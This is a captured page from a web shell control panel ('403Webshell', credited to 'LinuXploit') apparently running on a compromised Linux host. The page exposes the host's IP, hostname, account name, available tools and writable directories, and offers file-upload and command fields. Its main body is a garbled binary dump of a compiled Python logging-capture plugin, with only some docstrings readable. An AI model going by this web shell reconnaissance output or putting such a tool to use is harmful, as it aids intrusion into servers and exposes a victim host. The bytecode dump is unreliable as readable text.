403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.15.238.90
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib/python3.7/site-packages/nose/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib/python3.7/site-packages/nose/plugins/__pycache__/logcapture.cpython-37.pyc
B

/�Se�$�@s�dZddlZddlmZddlZddlmZddlmZmZm	Z	yddl
mZWn ek
rpddl
mZYnXe�
e�ZGdd�de�ZGd	d
�d
e�ZGdd�de�ZdS)
a
This plugin captures logging statements issued during test execution. When an
error or failure occurs, the captured log messages are attached to the running
test in the test.capturedLogging attribute, and displayed with the error failure
output. It is enabled by default but can be turned off with the option
``--nologcapture``.

You can filter captured logging statements with the ``--logging-filter`` option. 
If set, it specifies which logger(s) will be captured; loggers that do not match
will be passed. Example: specifying ``--logging-filter=sqlalchemy,myapp``
will ensure that only statements logged via sqlalchemy.engine, myapp
or myapp.foo.bar logger will be logged.

You can remove other installed logging handlers with the
``--logging-clear-handlers`` option.
�N)�Handler)�Plugin)�anyp�ln�safe_str)�StringIOc@sLeZdZdd�Zdd�Zee�Zdd�Zdd�Zee�Zd	d
�Zdd�Z	d
S)�	FilterSetcCs|�|�\|_|_dS)N)�
_partition�	inclusive�	exclusive)�selfZfilter_components�r
�H/opt/alt/python37/lib/python3.7/site-packages/nose/plugins/logcapture.py�__init__!szFilterSet.__init__cCsHgg}}x4|D],}|�d�r2|�|dd��q|�|�qW||fS)N�-�)�
startswith�append)�
componentsr
rZ	componentr
r
rr	%s


zFilterSet._partitioncCs|sdS|�|�o|�|�S)z-returns whether this record should be printedT)�_allow�_deny)r�recordr
r
r�allow/szFilterSet.allowcs �fdd�}tttt||���S)zNreturn the bool of whether `record` starts with
        any item in `matchers`cs�|kp��|d�S)N�.)r)�key)rr
r�record_matches_key:sz0FilterSet._any_match.<locals>.record_matches_key)r�bool�list�map)Zmatchersrrr
)rr�
_any_match7szFilterSet._any_matchcCs|js
dS|�|j|�S)NT)r
r)rrr
r
rr?szFilterSet._allowcCs|js
dS|�|j|�S)NF)rr)rrr
r
rrDszFilterSet._denyN)
�__name__�
__module__�__qualname__rr	�staticmethodrrrrr
r
r
rr src@sDeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dS)�MyMemoryHandlercCs4t�|�t�||�}|�|�t|�|_g|_dS)N)rr�logging�	Formatter�setFormatterr�	filterset�buffer)r�	logformat�
logdatefmt�filters�fmtr
r
rrKs



zMyMemoryHandler.__init__cCs|j�|�|��dS)N)r)r�format)rrr
r
r�emitQszMyMemoryHandler.emitcCsdS)Nr
)rr
r
r�flushSszMyMemoryHandler.flushcCs
g|_dS)N)r))rr
r
r�truncateUszMyMemoryHandler.truncatecCs|j�|j�rt�||�SdS)N)r(r�namer�filter)rrr
r
rr3WszMyMemoryHandler.filtercCs|j��}|d=|S)N�lock)�__dict__�copy)r�stater
r
r�__getstate__Zs
zMyMemoryHandler.__getstate__cCs|j�|�t��|_dS)N)r5�update�	threading�RLockr4)rr7r
r
r�__setstate__^szMyMemoryHandler.__setstate__N)
r r!r"rr/r0r1r3r8r<r
r
r
rr$Jsr$c@s�eZdZdZdZdZdZdZdZdZ	dZ
d	gZd
d�Zdd
�Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zd d!�ZdS)"�
LogCapturea
    Log capture plugin. Enabled by default. Disable with --nologcapture.
    This plugin captures logging statements issued during test execution,
    appending any output captured to the error or failure output,
    should the test fail or raise an error.
    TZNOSE_NOLOGCAPTURE�
logcapturei�z$%(name)s: %(levelname)s: %(message)sNFz-nosecCs�|jdd|�|j�ddd�|jddd|�d	�p6|jd
dd�|jd
dd|�d�pX|jd
dd�|jddd|�d�ddd�|jdddddd�|jdddddd�dS) z&Register commandline options.
        z--nologcapture�store_falser>z^Disable logging capture plugin. Logging configuration will be left intact. [NOSE_NOLOGCAPTURE])�action�default�dest�helpz--logging-format�store�logcapture_formatZNOSE_LOGFORMATZFORMATzvSpecify custom format to print statements. Uses the same format as used by standard logging handlers. [NOSE_LOGFORMAT])r@rBrA�metavarrCz--logging-datefmt�logcapture_datefmtZNOSE_LOGDATEFMTz�Specify custom date/time format to print statements. Uses the same format as used by standard logging handlers. [NOSE_LOGDATEFMT]z--logging-filter�logcapture_filtersZNOSE_LOGFILTERZFILTERa�Specify which statements to filter in/out. By default, everything is captured. If the output is too verbose,
use this option to filter out needless output.
Example: filter=foo will capture statements issued ONLY to
 foo or foo.what.ever.sub but not foobar or other logger.
Specify multiple loggers with comma: filter=foo,bar,baz.
If any logger name is prefixed with a minus, eg filter=-foo,
it will be excluded rather than included. Default: exclude logging messages from nose itself (-nose). [NOSE_LOGFILTER]
z--logging-clear-handlers�
store_trueF�logcapture_clearz Clear all other logging handlersz--logging-level�NOTSET�logcapture_levelzSet the log level to captureN)�
add_option�get�env_optr*r+)r�parser�envr
r
r�optionsss6
zLogCapture.optionscCsP||_|jr|jrd|_|j|_|j|_|j|_	|j
|_|jrL|j�
d�|_dS)zConfigure plugin.
        F�,N)�confr>Z
loggingConfig�enabledrEr*rGr+rJ�clearrL�loglevelrH�splitr,)rrRrTr
r
r�	configure�szLogCapture.configurecCs�t��}|jrrt|d�r2x|jD]}|�|�q Wx>ttjjj	�
��D](}t|d�rFx|jD]}|�|�q\WqFWx,|jdd�D]}t|t�r�|j�
|�q�W|�|j�t|dd�}|�tt|��dS)N�handlersrWrK)r%�	getLoggerrV�hasattrrZ�
removeHandlerr�Logger�manager�
loggerDict�values�
isinstancer$�remove�
addHandler�handler�getattr�setLevel)rZroot_loggerre�loggerrWr
r
r�setupLoghandler�s


zLogCapture.setupLoghandlercCs|��dS)z7Set up logging handler before test run begins.
        N)�start)rr
r
r�begin�szLogCapture.begincCs t|j|j|j�|_|��dS)N)r$r*r+r,reri)rr
r
rrj�s

zLogCapture.startcCsdS)Nr
)rr
r
r�end�szLogCapture.endcCs|��dS)z0Clear buffers and handlers before test.
        N)ri)r�testr
r
r�
beforeTest�szLogCapture.beforeTestcCs|j��dS)z"Clear buffers after test.
        N)rer1)rrmr
r
r�	afterTest�szLogCapture.afterTestcCs|�||�S)z5Add captured log messages to failure output.
        )�formatError)rrm�errr
r
r�
formatFailure�szLogCapture.formatFailurecCs2|��|_}|s|S|\}}}||�||�|fS)z3Add captured log messages to error output.
        )�formatLogRecordsZcapturedLogging�addCaptureToErr)rrmrq�recordsZec�ev�tbr
r
rrp�s

zLogCapture.formatErrorcCsttt|jj��S)N)rrrrer))rr
r
rrs�szLogCapture.formatLogRecordscCs$d�t|�td�g|td�g�S)N�
z>> begin captured logging <<z>> end captured logging <<)�joinrr)rrvrur
r
rrt�szLogCapture.addCaptureToErr)r r!r"�__doc__rUrOr2�scorer*r+rVr,rRrYrirkrjrlrnrorrrprsrtr
r
r
rr=cs*.
r=)rzr%rr:Znose.plugins.baserZ	nose.utilrrr�ior�ImportErrorr[r �log�objectrr$r=r
r
r
r�<module>s
*

Youez - 2016 - github.com/yon3zu
LinuXploit